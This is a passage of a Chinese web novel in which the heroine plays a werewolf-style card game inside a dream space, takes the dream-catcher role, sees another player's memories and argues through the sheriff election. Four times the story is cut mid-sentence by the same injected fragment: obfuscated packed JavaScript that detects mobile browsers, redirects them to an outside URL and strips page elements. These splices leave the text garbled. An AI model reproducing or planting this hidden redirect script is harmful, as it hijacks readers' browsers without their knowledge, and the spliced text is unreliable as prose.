诚然,“彩蛋平民”在局面明晰后使用交换技能是更优的选择,无论是出其不意变更为狼人阵营,还是与神职进行交换混淆狼队视听,都能一击制胜。此时的盲换看上去相当不明智。 但问题在于,这个游戏不止有一局—— 如果她这个新手在第一局就表现得过分扎眼,那么在之后两局,她势必会成为其余玩家共同针对的对象。 在场没有省油的灯,赢一把并不足以让她稳稳跻身前六名。降低整体难度,实际上也是降低她自己的难度。 当然,除此之外,她还有一点微不足道的私心—— 系统的声音迟滞了一瞬,似乎对南柯的答案不太满意。但作为一个公平公正的系统,它只能继续推进流程:“请选择你要交换底牌的对象。” 南柯:“9号玩家。” 话音落下,她面前的金色卡牌飞快旋转起来。 几秒种后,卡牌再次恢复到静止状态。上面的图案,赫然从那颗朴素的鸡蛋变成一个透明的紫色水晶球。水晶球内部,一个小女孩正蜷缩着身体,安然入睡。 图案下方,是方方正正的四个大字——摄梦人。 所以,这就是白芒不想玩的底牌。 系统的声音再次响起:“请选择你今晚要摄梦的对象。” 这次,南柯没有立刻做出回答,她没想到她会接连拿到两张特殊底牌。看来,她应该是今晚除了狼人之外最忙的一个玩家了。 第一夜主要是女巫和狼人的秀场,她无法确定狼人会击杀谁,也无法确定女巫是否会在首夜使用解药救人,所以暂时不宜抱着守护的心态去选择摄梦对象。 当她说自己拿到预言家的时候,1号和6号都曾有过较为明显的反应,这两张牌有一定概率拿到真正的预言家底牌,而9号白芒又是她可以确定的平民。 2号玩家状态松弛,说明他很可能有所倚仗,或许是持刀的狼人,或许是可以自证身份的神职。两种情况五五开,南柯暂时无法判断。 避开这四个玩家,剩下的玩家身份大致拉平,她可以任意选择一张作为摄梦对象,听过发言后再计算下一步。 她想了想,选择了从始至终未发一言的3号玩家(安静女生)进行摄梦。 本以为她首夜的工作至此结束,岂料,在她说出号码牌的那一刻,眼前的黑雾突然开始搅动。 片刻,黑雾中央出现一块由白色雾边勾勒出的显示屏。一段影像猝不及防地在屏幕上开始播放。 南柯拧眉看着眼前的画面—— 一个以白色为主色调的、布置精美的房间里,穿白色睡裙的纤瘦女孩怔怔站在窗边看外面的落雪。 房间的书架上整齐摆放着各色各样的书,从绘本到世界名著应有尽有。 南柯大致浏览了一下书脊上露出的书名,似乎许多都和旅行或世界人文相关,该类目的书占据了书架的半壁江山—— 《爱丽丝梦游仙境》、《文化苦旅》、《鲁宾逊漂流记》、《西班牙旅行日记》、《旅行的艺术》……不一而足。 突然间,很轻的敲门声传来。女孩转身,露出清秀而苍白的面容。 门外的女人已经推门进来,将手上的热水和几个小药瓶放在桌上。她从床上拿了毯子披在女孩身上,语气稍有责备:“知道自己身体弱还穿这么少。” 女孩垂下眼睫,低低道:“房间里有地暖。” 女人叹息一声,不忍再数落,只是从各个药瓶中倒出数量不一的药片,柔声哄慰:“该吃药了。” 女孩看着在掌心汇成一座小山的药片,嘴唇紧抿。片刻,她轻声道:“妈妈,药很苦,我不想吃。” 女人眼里带着心疼和怜惜,声音又轻柔许多:“听话,按时吃药病才能好。等你好了,你想去哪里妈妈都带你去。” “去阿勒泰也行吗?” “当然。” 女孩便不抗拒了,乖乖接过小山一样的药片,一口吞下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818115|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 不多时,女人离开,房间再次安静下来。 女孩缓慢在书桌前坐下,拨动书签,翻开她正在看的书。那本书叫《我的阿勒泰》。 她指尖落在冰冷的金属书签上,视线却迟迟没有聚焦,似乎思绪已经云游天外。 画面右移,南柯看到,她手边有一本摊开的日记本。此时,翻开的那页已被娟秀的文字写满,只是女孩的母亲来去匆匆,并没有注意。 上面写—— 魔都下雪了,是近几年来下得最大的一场。 松枝上盖了薄薄的雪,只露出零星的绿,像画本里的圣诞树。 阿勒泰下雪的时候是什么样子的? 一定比这里更加浩瀚、更加壮观吧。 “大雪围拥的安静”,好想亲自去体会一遍。 但我知道,我将永远无法抵达那里。 如果变成雪花就好了。 虽然几秒种后便会融化,但在落地之前,它是自由的—— 即使是须臾的自由,我也愿用生命来交换。 画面戛然而止,黑雾再次席卷。但日记本上的文字仿佛还残留在南柯的视网膜上——画面中的女孩正是3号玩家,只是那时候的她看着似乎比现在要小一些,十七八岁的样子。 所以,“摄梦”并不只是一种游戏技能,而是真正窥探他人的“梦”。她在不知不觉间被迫窥探了这个女孩游戏外的人生。 南柯的心情有些复杂。系统是试图利用这些“梦”来影响摄梦人的情绪,进而干扰她在游戏中的操作吗? 她再次对这个梦境被分在【社会】栏目有了新的认知。一旦心软,便有破绽。 系统似对她的反应饶有兴味,语带炫耀:“怎么样,这个技能不错吧?” 南柯目光凉淡地盯着空无一物的虚空:“系统还能主动和玩家聊天?” 系统对她的话置若罔闻:“摄梦人可以决定生死,你总要知道,被你守护或被你击杀的到底是什么样的人。” 南柯从系统的三言两语间听出些许怪异。 前面两个梦境,虽然系统提示音的语气时有变化,但它播报的基本都是客观规则,与玩家之间距离感很强。但这个梦境中,系统的提示音似乎……过于人性化了。 她心头一动:“在前几轮的梦境中,其他拿到这张底牌的玩家也能看到这些画面吗?” “当然。” “那你也会和他们聊天吗?” 系统的声音里似乎多了一丝猫捉老鼠般的笑意:“我只和有趣的人聊天。” 果然! 南柯想起脑科学专家对【造梦空间】的推断,他们认为这很可能是高维生物的思想入侵。然而,她很难将自己和“高维生物”联系起来,也并不觉得自己有什么特殊之处。 难道是她前两个梦境中的表现引起了【造梦空间】主人的注意? 南柯想不出答案,干脆直接发问:“为什么是我?” 然而,她这次的问题并没有得到回答。 不久后,系统的声音再次响起时,已经是针对所有玩家的播报:“天亮了。在公布昨夜的死亡信息前,请有意向竞选警长的玩家点击面前电子屏上的金色按钮,无竞选意向的,请点击黑色按钮。” 42. 卡牌秘境(四) 南柯没什么犹豫地点击了黑色按钮,贯彻她低调到底的理念。 全部玩家选择结束后,黑雾散去。南柯着意关注了一下3号玩家,她表情仍然寡淡,像是没有获取任何夜间信息。 此时,有四位玩家的头顶多了一个金色的星星光影,代表这四个人选择竞选警长,分别是1号,6号,8号和9号。 圆桌上空出现一个电子屏,上边快速滚动着“1,6,8,9”这四个数字,几秒钟后,屏幕上的数字定格在“9”上。 系统提示音很快响起:“根据随机选择,9号玩家首先发表警长竞选宣言,而后,剩余玩家按照顺时针方向依次发言。在某位玩家发言时,其余玩家强制噤声。” 白芒愣了一下,但很快进入状态:“没想到竞选警长的人这么少,也没想到是我第一个发言,那我就抛砖引玉了。” 此时的他状态松弛,神色自如,随意绕着圆桌扫视一周。与南柯视线相接时,他的眸光不太明显地闪了一下。南柯不确定这是出于“熟人情谊”还是他已经猜到是自己交换了他的卡牌。 他朗声道:“虽然我没有拿到预言家,暂时不能给出有效信息,但这并不妨碍我有一颗想要进步的心!” 其余玩家纷纷用表情递出一个问号:还燃起来了? 白芒对别人的反应置若罔闻,继续发表宣言:“如果大家选我当警长,我会在接下来的每一天都认真听取各位的发言,寻找狼人的线索,鞠躬尽瘁带领大家走向胜利!” 南柯:“鞠躬尽瘁”这个成语是这么用的? 白芒:“想必,在我之后的三位玩家中一定有尊贵的预言家,但很大概率也会有狼人伪装成预言家来骗取好人信任。在预言家中做选择,好人当选警长的概率只有50%,而选择我——朴素却正义的9号玩家,警徽却100%会掌控在好人阵营!” “这就是我的获……竞选宣言,欢迎大家给我投票,谢谢大家!” 简短而激动人心的宣言没有迎来掌声,紧随其后是尴尬的沉默。倒不是因为氛围紧张,单纯是其余玩家对这段阳光开朗的发言充满困惑。 朴素却正义的9号玩家似乎和他们不在同一个次元,他是不是不知道,他存活的概率也只有50%? 终究,在规则的驱动下,还是1号玩家打破沉默。她本来有些紧张,但听完白芒的发言,突然觉得也没什么好紧张。 于是,她利索接话:“9号玩家的发言我深受触动,而我,就是他口中那个尊贵的预言家!” 捕捉到关键词,几乎所有玩家的目光都同时聚焦到1号身上。如果说首夜是狼人和女巫的秀场,那么首日就是预言家的秀场了。 1号语气诚恳:“昨晚,我查验了10号玩家的底牌,他属于好人阵营。” 此时,带着兜帽的10号玩家终于有了点反应。他身体略微前倾,表现出认真倾听的姿势。 “我之所以查验他,是因为他至今都没有摘下兜帽,也没有开口说过话,甚至几乎没有多余的动作。我认为他是全场最神秘的一位玩家,我无法利用肢体语言和微表情对他的底牌进行辅助判断,所以我选择直接查验。” 她整理了一下思绪,接着道:“目前为止,他是我查验的明确身份,所以我在做出判断时会参考他的意见。但他既然是好人,就有拿到彩蛋平民的概率,游戏结束之前,我会对这种可能性持保留意见。” “接下来我说一下我竞选警徽之后的规划。参与竞选的四位玩家中,9号玩家已经发过言,虽然他也有可能是个表演欲爆棚的狼人,但我个人暂时倾向于他属于好人阵营。” 她扫了一眼后边的6号和8号,“而6号和8号中,想必至少有一个狼人要和我对跳预言家。所以,未知身份主要集中在未参与竞选的玩家之中。” 她看向南柯:“首先引起我注意的是11号姐姐。” 南柯当然知道自己为什么会引起注意。 果然,1号娓娓道来:“拿到底牌的时候,11号姐姐说她是预言家。那么,她可能是混淆狼人视听的好人,也可能是准备和我对跳预言家的狼人。如果是后者,我首夜查验她就等于白验,所以我打算看看她白天的表现再做决定。” “目前看来,她没有参与警长竞选,说明她并不是真的想和我对跳预言家。那么我暂时认为她底牌偏好,否则作为狼人,她开牌后不会首先把自己送上焦点位。” “此外,2号、5号和12号玩家开局之前有过短暂交流,听得出,他们对这个游戏很擅长,不管作为好人还是狼人,相信他们今天白天都会为自己的阵营工作,所以我选择通过听取发言来判断他们的身份。” “至于3号,4号和7号,这三位玩家开牌后没有露出任何破绽,我无从探知他们的底牌。鉴于4号玩家之前针对彩蛋平民提出关键问题,我暂且肤浅地认为他对这个游戏的规则和玩法有较高的敏锐度,且具备较强的逻辑分析能力。” “综上,我今晚选择查验4号玩家,如果他是好人,相信他可以带领好人走向胜利。如果他是狼人,也可以尽早把他放逐出局。” 她回忆了一遍自己的发言,确认没有遗漏,才道:“以上就是我的警长竞选宣言。如果大家把警徽给我,即使我第二天死于夜间,也可以把查验信息通过警徽的传递告知大家。希望大家投票给我,谢谢!” 客观评价,从选择查验对象的理由,到对场上剩余玩家的身份判断,1号玩家的发言每一句都有理有据。更重要的是,在南柯戏称自己是预言家的时候,1号玩家确实给了明确反应,很符合预言家的身份。 然而,南柯告诉自己不能先入为主。因为,另一个同样给出反应的6号玩家也在竞选警长,他本身也是南柯心目中的预言家候选人之一。 听完1号的发言,6号的神色显而易见地凝重。他开口第一句便是:“1号玩家的发言真得很精彩。平心而论,代入她的视角,我挑不出任何毛病。” “我也很想相信她,但没办法,我才是真正的预言家!”他和1号对视一眼,1号笑了下,双臂抱胸,一副“我就看你表演”的模样。 6号丝毫不被影响,游刃有余:“我第一晚查验的是3号玩家,系统告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16827268|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉我,她属于好人阵营。” 被点到名,3号抬头看了他一眼。 6号继续道:“查验3号没有什么特别的理由,单纯是看不透这位玩家。当然,在场很多玩家我都看不透,但我对3号格外有眼缘。”他冲3号致以礼貌微笑,3号神色淡淡,不为所动。 6号也不气馁,接着看向白芒:“刚刚1号狼人对9号玩家的点评我大致认可。如果9号玩家是1号的狼队友,那么显然由他来对跳预言家更为合适。” “因为竞选警长的人只有四个,在他们的视角中,我和8号之中肯定有一个是真正的预言家。这种情况下,9号可以博一下,说他查验了我或者8号是狼人。如果正好博到我,我再起跳预言家,可信度就会大幅降低。” “但9号玩家基本上对我没什么敌意,所以我暂时认为他身份偏好。” 白芒的腰杆儿不禁挺直了一些。想不到,他凭借朴素且正义的发言率先成为真假预言家心目中公认的好人牌。 果然真诚是唯一的必杀技! 6号继续分析:“同样的理由,如果8号是1号的狼队友,1号就可以直接确定我是预言家,从而博杀我,但她只是给未竞选警长的10号发了好人卡。虽然不排除她有抬高8号队友身份的可能性,但当前阶段,我暂时认为8号偏向好人。” “我下一晚的查验对象也会在未竞选警长的玩家中产生。” “虽然有很多想查验的玩家,但1号发言之后,我就不能随便发挥了。”他语气似有遗憾,“她给10号发好人卡,我无法判断她是想骗10号选她当警长,还是10号根本就是她的队友、她在抬高10号身份。所以,我势必要查验10号玩家,不然这始终是我心中的一根刺。剩下的玩家,我会在警长竞选结束之后看完他们的投票结果再做分析。” 说完,他又看向10号,诚挚补充:“希望10号玩家不要因为我这一点小小的怀疑就对我抱有反感,如果你真的是好人,希望你能找到我。欢迎你给我投票。” “以上就是我的竞选宣言,谢谢大家。” 南柯以新手的身份听完了1号和6号的发言。她不知道那些“老玩家”是怎么评判的,从她的角度出发,她认为这两个人的发言没什么可比性。 除非“油腻”也是一个加分点,否则,她认为1号的发言完胜。她已经列好了一二三条理由,只等轮到自己发言的时候阐述。不过,她觉得这局游戏应该没这么简单—— 她注意到,8号玩家在6号发言的时候脸上写满不可思议,显然6号起跳预言家的举动让他格外错愕。 南柯预感到这最后一位警长候选人会带来一些“惊喜”。不过,她着实没料到,这个“惊喜”居然和自己相关。 轮到8号玩家发言,他的语气和神色一样凝重:“想不到一共四个人竞选警长,就有两个人要和我对跳预言家。我不确定1号和6号是两个狼人,还是其中有好人在捣乱,但我才是真正的预言家。” 他笔直地看向南柯,语气正义凛然:“我昨晚查验了11号玩家,她的底牌,是狼人!” 43. 卡牌秘境(五) 第三个“预言家”的出现搅乱了大部分玩家的思路,二选一变成了三选一。 南柯挑了挑眉,等待8号的下文。 “我之所以查验11号,首先是因为她说自己没玩过这个游戏。我之前也和新手玩过,他们不太熟悉规则,发言可能在逻辑方面稍有欠缺,因此通过发言判断他们的底牌可能会有偏颇,最好是直接通过查验来定义。” “其次就是,她一开始说自己是预言家,我觉得她有故意抬高自己身份的嫌疑。综合以上两点,我就查验了她。” 他看向1号和6号,“现在有两位玩家在和我对跳预言家,如果他们始终坚持,那我合理推测,1号和6号之间可能一个是普通狼人,一个是狼王。相对而言,1号的发言更加饱满,6号发言则稍显随意,所以我倾向于6号是那个迫切想要出局的狼王,因为他即使出局也可以带走一张好人牌。” “这样的话,只要在场的好人能找到我这个预言家,这个游戏就很简单,1号,6号,11号三张狼人牌已经明确,我们只需要再找最后一张。” “10号和3号分别被1号和6号发了好人卡,我觉得一般情况下狼人不会把队友送上焦点位,所以我暂时认为这两张牌身份偏好。另外,两个狼人同时拉拢9号的好感,所以9号暂时也不进入我的视野。” “其他几张牌我暂时无法定义。但1号说她接下来打算查验4号,我姑且猜测她有一定可能把她的队友作为查验对象,这样,如果她当选警长,就可以顺水推舟把警徽传递给自己的队友。” “所以,我下一晚打算查验4号。” “以上就是我的竞选宣言,请大家投票给我,谢谢。” 他发言结束,众人都陷入思考之中。更有几道探究的目光落在南柯身上,其中就包括4号苏二。 南柯不以为意,老神在在地等待着系统宣布下一步。 系统很快推进流程:“竞选警长的四位玩家已全部发言完毕。如果您现在放弃竞选,请点击屏幕上的红色按钮,倒计时十秒钟。” 南柯猜测此时他们四个人面前应该有个只有自己能看到的电子屏。不过四人都没什么动作,头顶上的星星也没有消失。 果然,十秒钟后,系统宣布:“无人放弃警长竞选。接下来,请未参与竞选的玩家在这四位中投票选出最终的警长。倒计时十秒钟。” 南柯面前应声出现了一个包含四个号码选项的电子屏。 根据她的推测,1号玩家应该是真正的预言家,只是6号的身份她暂时有些琢磨不透。 正常来讲,如果6号是狼人,他已经跳预言家了,8号就没必要接着起跳。这样虽然可以增加从预言家手里抢夺警徽的概率,但同时两张狼人牌也会被迫成为对立面,迟早要牺牲一个。 想不通,干脆等着听下一轮发言。南柯直接把警长票投给1号。 十秒钟后,圆桌右侧上空浮现出一个巨大的电子屏,屏幕上呈现出警长竞选的投票结果—— 1号得票:7号,10号,11号 6号得票:5号,12号 8号得票:2号 9号得票:3号,4号 1号玩家以微弱优势当选警长,她头上的星星保留,剩余三位竞选人头上的星星消失。 票型分布并不均匀,3号和4号的票显得尤其怪异。显然这个游戏预言家当选警长对好人阵营的收益更大,他们居然投票给了唯一没有跳预言家的白芒,不知道是不想暴露自己的阵营,还是真的难以区分谁是预言家。 很快,系统宣布:“彩蛋平民的交换技能已使用。” “昨晚是个平安夜,无人死亡。” 彩蛋平民选择在首夜就使用技能,大多数玩家都稍显错愕,但引起南柯额外注意的是3号玩家—— 她发现,当系统宣读关于彩蛋平民的信息时,3号的表情并没有波动,直到公布昨晚无人死亡时,她才表现出一丝惊讶。 这种情绪一闪而逝,但南柯对自己首夜的摄梦对象格外关注,所以还是捕捉到了。 心软的女巫在首夜选择使用解药救活狼人的击杀对象本来也是件寻常事,所以3号的反应格外不同寻常。 南柯心里产生一个大胆的猜测。如果这个猜测成立,那么这一局,好人阵营胜利的几率会大幅提升。 1号得到警徽,可以选择发言顺序。她想了想,选择从她左侧开始逆时针依次发言,第一个发言的是12号。 12号并未因第一个发言就表现出惊慌,他的笑意仿佛焊在脸上:“感谢‘彩蛋平民’一上来就使用技能,直接给大家降低了游戏难度。” “不过,想不到这局这么精彩,居然跳出来三个‘预言家’。我投票给6号就证明了我的立场,我认为6号是真正的预言家。” “他的发言虽然简短,但都很精准。在他之前只有1号对跳预言家,代入他的视角,确实可以暂定9号和8号身份偏好。” “而且,虽然他没有对未竞选警长的人多做点评,但他点到了1号和10号之间的关系无法定义,需要查验,这也是加分点。综上,我投票给他。” 他看向南柯,笑道:“既然我认为8号是狼人,那么我自然对11号有好感。而5号和我一样投票给6号,我暂且认为她身份也偏好。除了1号和8号,剩下的狼人应该就在我没点到的号码牌中产生。” “今天的放逐环节,我建议从1号和8号中投票。以上就是我的发言。” 他试图和南柯眼神交流,但南柯不动声色地避开。 她神色悠闲地开始自己的阐述,似乎8号玩家并没有给她带来任何压力:“12号玩家的发言有一点我很认同,那就是今天的放逐对象。我发言比较靠前,就先把轮次问题说清楚,以防后边的狼人浑水摸鱼搅乱视线。” “当前有三个玩家起跳预言家,且都没有退出警长竞选,也就是说,这三个玩家中很可能有两个狼人。所以,今天放逐的pk台上应该是1号,6号和8号,和我11号没有关系。当然,我个人一定会投8号。” 她语气淡淡:“看来8号玩家对新手的逻辑存在偏见,下面我就用我‘稍有欠缺’的逻辑来分析一下我为什么认为1号是预言家而6号不是。” “第一,1号提到其他玩家的底牌时基本上带着“审判”的态度,常用到‘我认为……’,‘我要看……的表现’,‘我选择查验……’之类的句式,不卑不亢,隐隐透露出对自己底牌的绝对自信。即使是对待自己查验出的1 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16831498|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 0号好人牌,也没有诱哄他给自己投票,反而理性提出了质疑。 “反观6号,即使对10号的底牌抱有怀疑,也要在语言上怀柔一两句,生怕引起10号的反感。” “第二,1号是三位预言家中唯一一位拥有全局视角的玩家。她每晚只能查验一个对象,但全场除了10号以外还有十个未知身份,她的发言表现出她试图用除了查验之外的手段对其他底牌做出判断。这很符合预言家的探究欲和责任感。” “反观6号,他的待查验对象只有10号,而8号的待查验对象只有4号,对于其他玩家,他们的反馈轻描淡写。我合理怀疑他们在刻意回避某些号码牌,防止暴露队友的位置。” “第三,在这一局中,‘彩蛋平民’是非常妙的一张底牌,在我的理解中,他应该会引起其余所有玩家的警惕。而三位预言家中,同样只有1号提到了这一点,她查验10号是好人,但认为他有拿到‘彩蛋平民’的概率,从而提醒其他玩家保持怀疑态度。” “综上,我认为不管从心态还是逻辑的角度,1号都是完美的预言家发言。” 她语速很快,三条理由说完,8号玩家的身体显然有点僵硬。别说这通发言不像新手,即使是“老玩家”也不一定能像她这样条理清晰,有理有据。 更让他惊讶的还有下文。 南柯继续分析:“狼人阵营中有一位狼王。我猜测,这个游戏最常见的玩法应该是由狼王来对跳预言家,如果成功当选警长,就可以顺理成章放逐真预言家出局,如果没成功,自己被放逐,也可以根据场上的局势带走一个有价值的好人。” “本来我还不是特别确定8号是狼王,直到看到警长的投票结果。” “除了2号以外,没人给8号投票。我还没有听过2号的发言,但这位玩家喜形于色,通过观察他拿到底牌后的反应,我认为他的身份极有可能是猎人。” 对于这个判断,南柯当然还有逻辑层面的理由支撑,但那可能会暴露她的底牌,所以她暂时不方便展开描述。 不过,就这么简单的一句猜测,已经足以激起千层浪。尤其是2号玩家,“猎人”两个字一出来,他一直懒散傲慢的神色终于有所收敛。 无需开口,2号的表情已经论证了南柯的猜测十有八九是对的。 通过反应就能看透一个人的底牌吗?在场的玩家很难不惊讶于这种诡异的“读心术”。 南柯却不理会这些。她继续分析:“也就是说,8号作为狼人起跳预言家,却没有一个队友给他投票。这只能说明一件事——他的队友已经选择献祭他,希望通过放逐让他用出狼王的技能。” “那么这个技能要带走谁呢?是预言家吗?预言家已经跳在明面上。” “但是,只有准确找到四个神职,狼人阵营才能胜利。我想,8号给我发狼人身份,是想要借此逼出我的底牌,为狼人再多做一些贡献。或许,带走摄梦人或者女巫,会比带走预言家收益更大。” 南柯挑眉看向8号:“既然新朋友对我的底牌这么感兴趣,那我当然不能扫兴。” 她散漫笑了笑,轻飘飘的声音再次给出重磅信息—— “如你所愿,我的底牌是——” “摄梦人。” 44. 卡牌秘境(六) 南柯首先分析8号可能是狼王,随后又表明自己是摄梦人,狼人对她的底牌就不得不多一重考虑。 一方面,她可能只是作为平民来替真正的摄梦人抵挡狼王的狼爪;另一方面,她也有可能真的是摄梦人,只是在和狼人打反心态,赌狼人不敢相信摄梦人会这么轻易暴露底牌。 只要狼人不敢百分之百确定她的底牌,她就不会成为他们的首要击杀目标。当然,如果白芒再和她配合一下,那就更完美了。 她干脆又随便胡诌了两句—— “我第一天对谁进行了摄梦就不方便告诉大家了,免得给狼人更多信息。很多玩家的发言我都没来得及听,暂时要说的就这些。如果一会儿狼王出局选择带走我,我再和大家详聊。” 她并不担心有狼人和她对跳摄梦人,毕竟她有百分之八十的把握可以确定8号是狼王,狼王出局比再卖出一个普通狼人的收益大得多 实际上,听完12号的发言,南柯对他的底牌也有一定猜测。但她深谙知道越多死得越快的道理,要想活得长,第一天的发言点到为止即可。 语毕,她冲10号做出一个“请”的手势。她的发言信息量很大,10号消化了几秒钟,才开始发言。 这是他在这个梦境中第一次开口,听到他声音的那一刻,南柯一直从容的心境蓦地产生一丝波动。 这个声音她很熟悉。准确地说,她在不久前刚刚听过—— 这是陈立阳的声音。即使语气更加冷硬,但音色做不了假。 他语调沉稳:“11号小姐的发言真是精彩。如大家所见,我在警长投票中同样投给了1号,理由11号刚刚已经陈述,我就不再赘述。” “接下来我补充一个点,大家可以理性探讨。” 南柯垂眸隐去眼中波澜。不仅声音像,就连说话的句式都如出一辙。 “1号是预言家,8号是狼人,这毋庸置疑,我有所质疑的是6号的底牌,我不觉得他一定是狼人。” “这是个有‘彩蛋平民’的局,而且彩蛋平民首夜已经使用过技能。有一种可能是,6号是彩蛋平民,他第一天和3号玩家交换了底牌,所以可以确定3号是平民,给她发好人卡也不会露馅。” “也许他跳预言家只是为了扰乱狼人的视角,打破他们的逻辑,这也未可知。一会儿听6号自己发言即可,大家可以自行判断。” “我今天会把放逐票投给8号。发言完毕。” 他的发言简短却不刻板,1号警长流露出若有所思的神色,似在跟随他的分析重新思考6号的底牌。 在南柯的逻辑线里,6号确实不一定是狼人,但她没必要梳理这些“超纲”内容,毕竟她是被8号“查验”的疑似狼人,发言太扩散反而画蛇添足,容易引起好人的怀疑。10号的发言恰到好处地将整个逻辑补全。 客观来讲,6号的底牌的确可能是“彩蛋平民”,当然南柯作为彩蛋本蛋可以排除这个选项。不过,如果6号顺水推舟把这个身份认下来,那就更有意思了。 南柯忍不住想象10号兜帽之下的是一张怎样的脸。 会是陈立阳吗?如果是,他是故意装作和自己不认识?还是说,身份被拆穿,他们要就此形同陌路? 她直觉陈立阳不会是这样的人。 强行按捺下心中的疑窦,她暂且将注意力重新拉回这局游戏。 紧随其后发言的白芒显然也愣了一下。毕竟他也在【细胞工厂】和陈立阳相处了不短的时间。不过,他也没深想,他以为“伪装”只是陈立阳的策略。 于是,他清了清嗓子,正常发言:“正如刚刚10号所说,这也是一种可能性。我想,如果8号真的是预言家,那他对1号和6号的身份应该有更多、更细致的分析,而不是笼统地将他们定义为两张狼人牌。基于此,我认为8号肯定不是预言家。至于1号和6号,我还要再更新一下他们的发言。” 他看向南柯,眼神里带着疑惑,“虽然我认为8号是狼,但11号开局时说她是预言家,今天又说自己是摄梦人,我对她的摄梦人身份有些质疑。当然,她也可能是认为8号是狼王,故意替真正的摄梦人隐藏身份。” “她底牌是好是坏,还要看之后的局势怎么发展。毕竟有时候狼人也可以故意给队友发狼人底牌,从而抬高队友的身份。” “除此之外,我看了看警长的投票,感谢3号和4号玩家把票投给我!我暂且认为这两个人属于好人阵营的概率比较大,因为他们选择把警徽给到百分之百的好人手里。” “我要说的大概就是这些,今天我可能会投8号。谢谢大家!” 他发言结束,南柯基本上确定,他肯定知道首夜从他手里换走摄梦人的是自己了。 她在心里默默给白芒点了一个赞。有人质疑她的底牌,无疑会让狼人疑心更重,从而摸不准真正的摄梦人在哪里。 听完前面玩家的发言,8号逐渐由神色凝重转变为面无表情。 他接过白芒的话,“目前看来,从11号到9号,今天都明确要投我出局,这已经有3票。虽然6号和7号还没发言,但6号和我对跳预言家,7号将警长票投给1号,显然这两个人也倾向于放逐我,加上1号的1.5票,好像我无论再说什么今天都得出局了。” 他扶了扶眼镜框,看起来已经将“生死”置之度外:“那也没办法,我只能用出局来证明自己的身份。11号说我是狼王,那如果我出局没有发动爪击技能,就能证明我的清白?到时候,希望女巫可以把11号毒掉。我认为11号跳摄梦人就是为了找真正的摄梦人,摄梦人一定要藏好,不要中计。” “我的发言就到这里。” 这一番摆烂像模像样,可惜欠缺演技。在南柯看来,他此时的脑袋上已经标记了“我是狼王”四个字。 果然,7号直接无视他的发言:“目前8号是已知的狼人,但这个场上有四张狼人牌,我觉的后边的好人可以着重分析一下剩下的三个狼人在哪里。” “6号暂且按下不提,毕竟他等下会自己解释跳预言家的行为。我来谈一下我对已发言的玩家的看法。” “彩蛋平民的技能已使用,1号查验10号是好人,那就是确定的好人。而11号玩家,无论她是不是摄梦人,她暂时都是8号的对立面,我暂且也不认为她是狼人。9号就不必说了,三个预言家都认为他是好人,目前找狼人也找不到他身上。” 她顿了顿,看向12号,“我认为,现在狼人概率最大的是12号玩家。” “在他的视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840568|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角里,他认为6号是预言家,1号和8号是两个明确的狼人。但提到放逐投票,他却语焉不详,只说在1号和8号里边选一个。” “那到底选谁呢?如果两个都是狼人,那么里面是否存在狼王?显然对于好人来说放逐普通狼人比放逐狼王收益要更大。他既然想二选一,就应该有后续支撑的逻辑,找出1号和8号中优先级更高的一个,但他却没有。” “另外,结合11号玩家的猜测,8号玩家很可能是狼王。也就是说,12号玩家的待投对象中,一个是预言家,一个是狼王,无论哪个被放逐,狼队都没有太大损失。综上,他的底牌是狼人的可能性很大。当然事无绝对,这只是初步推测。” “其他玩家的发言我还没听,暂时不好过多点评。但从警长竞选结果看,我认为3号和4号的投票很怪异。从积极的角度看,他们没有投票给狼人。但从消极的角度看,他们也没有投票给预言家。这种票很取巧,虽然9号认为他们底牌偏向好人,但我对此保持怀疑。” “以上就是我的发言,谢谢。” 南柯觉得7号仿佛是世界上的另一个自己。不夸张地说,7号的思路和自己完全契合。 如果让她在此基础上做出补充,她也只能说,在3号和4号之中,她对4号的疑心更重,这还是基于她对4号的额外了解。以苏二的分析能力,他不可能找不到谁是真正的预言家。 她感慨,果然选择卡牌类梦境的人逻辑能力都很强。 